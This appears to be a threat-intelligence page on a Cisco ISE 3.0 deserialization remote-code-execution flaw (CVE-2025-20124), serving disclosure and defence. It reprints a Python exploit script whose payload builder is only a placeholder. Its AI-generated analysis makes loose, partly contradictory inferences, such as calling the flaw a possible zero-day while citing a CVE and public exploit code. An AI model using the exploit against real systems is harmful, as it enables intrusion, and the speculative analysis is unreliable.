Cisco ISE 3.0 - Remote Code Execution (RCE)
Cisco ISE 3.0 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a widely deployed network security policy management and access control platform used by enterprises to enforce security policies for endpoint devices and users. An RCE vulnerability in Cisco ISE 3.0 implies that an attacker can remotely execute arbitrary code on the affected system without requiring physical access. This could allow the attacker to take full control of the Cisco ISE server, potentially leading to unauthorized access to network resources, manipulation of security policies, and disruption of network access controls. Although specific technical details and affected versions are not provided, the presence of publicly available exploit code written in Python indicates that the vulnerability is exploitable and that proof-of-concept or weaponized scripts exist. The exploit likely targets a network-facing service or API endpoint within Cisco ISE 3.0, enabling remote attackers to inject and execute malicious payloads. The absence of a CVSS score and patch information suggests this is a newly disclosed or zero-day vulnerability. Given Cisco ISE's critical role in network security infrastructure, exploitation could severely compromise the confidentiality, integrity, and availability of enterprise networks.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Cisco ISE 3.0 could be significant. Cisco ISE is commonly used in large enterprises, government agencies, and critical infrastructure sectors across Europe to enforce network access policies and authenticate devices. Successful exploitation could allow attackers to bypass network segmentation, escalate privileges, and move laterally within corporate networks. This could lead to data breaches involving sensitive personal data protected under GDPR, disruption of business operations, and potential compromise of other connected systems. Additionally, attackers could manipulate access policies to introduce rogue devices or users, undermining network trust models. The critical severity rating underscores the potential for widespread damage, especially in sectors such as finance, healthcare, telecommunications, and public administration where Cisco ISE deployments are prevalent. The lack of known exploits in the wild currently provides a limited window for proactive defense before potential attackers weaponize the exploit.
Mitigation Recommendations
Organizations should immediately conduct an inventory to identify Cisco ISE 3.0 deployments within their environment. Until an official patch or update is released by Cisco, the following mitigations are recommended: 1) Restrict network access to Cisco ISE management interfaces and APIs using network segmentation and firewall rules to limit exposure to trusted administrators only. 2) Monitor network traffic and logs for unusual activity or exploitation attempts targeting Cisco ISE components. 3) Apply strict access controls and multi-factor authentication for administrative access to Cisco ISE consoles. 4) If possible, deploy Cisco ISE in a hardened environment with minimal services exposed externally. 5) Stay alert for Cisco security advisories and apply patches immediately upon release. 6) Consider temporary compensating controls such as disabling vulnerable features or services if feasible. 7) Conduct penetration testing and vulnerability scanning focused on Cisco ISE to detect exploitation attempts.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden, Belgium, Poland, Switzerland
Indicators of Compromise
- exploit-code: # Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import base64 import urllib3 urllib3.disable_warnings() def banner(): print(r""" _________ .__ \_ ___ \|__| ______ ____ ____ / \ \/| |/ ___// ___\/ _ \ \ \___| |\___ \\ \__( <_> ) \______ /__/____ >\___ >____/ \/ \/ \/ Cisco ISE Java Deserialization RCE CVE-2025-20124 Author: ibrahmsql | github.com/ibrahmsql """) def build_serialize_payload(cmd): """ Java deserialization payload builder """ java_cmd = cmd.replace('"', '\\"') # Placeholder serialization - gerçek exploit için gadget chain gerekli payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")' return base64.b64encode(payload.encode()).decode() def exploit_deserialization(base_url, session_token, cmd): """ CVE-2025-20124: Java Deserialization RCE """ endpoint = f"{base_url}/api/v1/admin/deserializer" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } payload = build_serialize_payload(cmd) data = {"object": payload} print(f"[+] Target: {base_url}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Command: {cmd}") print(f"[+] Sending deserialization payload...") try: r = requests.post(endpoint, json=data, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Payload successfully sent!") print("[+] Command possibly executed!") if r.text: print(f"[+] Response: {r.text[:500]}") elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") elif r.status_code == 404: print("[-] Endpoint not found - target may not be vulnerable") else: print(f"[-] Unexpected response: {r.status_code}") print(f"[-] Response: {r.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def main(): parser = argparse.ArgumentParser( description="CVE-2025-20124 - Cisco ISE Java Deserialization RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20124.py --url https://ise.company.com --session ABCD1234 --cmd "id" python3 CVE-2025-20124.py --url https://10.0.0.1:9060 --session TOKEN123 --cmd "whoami" """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--cmd", required=True, help="Command to execute via deserialization") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) exploit_deserialization(args.url, args.session, args.cmd) if __name__ == "__main__": main()
Cisco ISE 3.0 - Remote Code Execution (RCE)
Description
Cisco ISE 3.0 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a widely deployed network security policy management and access control platform used by enterprises to enforce security policies for endpoint devices and users. An RCE vulnerability in Cisco ISE 3.0 implies that an attacker can remotely execute arbitrary code on the affected system without requiring physical access. This could allow the attacker to take full control of the Cisco ISE server, potentially leading to unauthorized access to network resources, manipulation of security policies, and disruption of network access controls. Although specific technical details and affected versions are not provided, the presence of publicly available exploit code written in Python indicates that the vulnerability is exploitable and that proof-of-concept or weaponized scripts exist. The exploit likely targets a network-facing service or API endpoint within Cisco ISE 3.0, enabling remote attackers to inject and execute malicious payloads. The absence of a CVSS score and patch information suggests this is a newly disclosed or zero-day vulnerability. Given Cisco ISE's critical role in network security infrastructure, exploitation could severely compromise the confidentiality, integrity, and availability of enterprise networks.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Cisco ISE 3.0 could be significant. Cisco ISE is commonly used in large enterprises, government agencies, and critical infrastructure sectors across Europe to enforce network access policies and authenticate devices. Successful exploitation could allow attackers to bypass network segmentation, escalate privileges, and move laterally within corporate networks. This could lead to data breaches involving sensitive personal data protected under GDPR, disruption of business operations, and potential compromise of other connected systems. Additionally, attackers could manipulate access policies to introduce rogue devices or users, undermining network trust models. The critical severity rating underscores the potential for widespread damage, especially in sectors such as finance, healthcare, telecommunications, and public administration where Cisco ISE deployments are prevalent. The lack of known exploits in the wild currently provides a limited window for proactive defense before potential attackers weaponize the exploit.
Mitigation Recommendations
Organizations should immediately conduct an inventory to identify Cisco ISE 3.0 deployments within their environment. Until an official patch or update is released by Cisco, the following mitigations are recommended: 1) Restrict network access to Cisco ISE management interfaces and APIs using network segmentation and firewall rules to limit exposure to trusted administrators only. 2) Monitor network traffic and logs for unusual activity or exploitation attempts targeting Cisco ISE components. 3) Apply strict access controls and multi-factor authentication for administrative access to Cisco ISE consoles. 4) If possible, deploy Cisco ISE in a hardened environment with minimal services exposed externally. 5) Stay alert for Cisco security advisories and apply patches immediately upon release. 6) Consider temporary compensating controls such as disabling vulnerable features or services if feasible. 7) Conduct penetration testing and vulnerability scanning focused on Cisco ISE to detect exploitation attempts.
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Technical Details
- Edb Id
- 52396
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Cisco ISE 3.0 - Remote Code Execution (RCE)
# Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys imp... (3280 more characters)
Threat ID: 689a95b8ad5a09ad002b09b2
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/12/2025, 1:19:09 AM
Last updated: 8/12/2025, 11:52:41 AM
Views: 11
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